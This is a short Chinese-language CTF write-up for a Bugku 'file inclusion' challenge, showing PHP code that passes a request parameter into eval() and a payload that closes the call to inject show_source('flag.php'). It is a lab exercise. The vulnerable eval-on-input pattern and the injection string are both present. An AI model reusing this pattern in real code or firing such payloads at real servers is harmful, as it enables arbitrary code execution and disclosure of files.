1. 程式人生 > >bugku ctf檔案包含 writeup

bugku ctf檔案包含 writeup

開啟題目,直接顯示程式碼

<?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?>

看到Request函式,很明顯可以想到檔案包含,這裡hello是可控的,那麼,就可以構造包含語句,

?hello=1);show_source('flag.php');var_dump(

就可以show flag.php 的原始碼,從而得到flag。

注意事項:注意構造語句的閉合。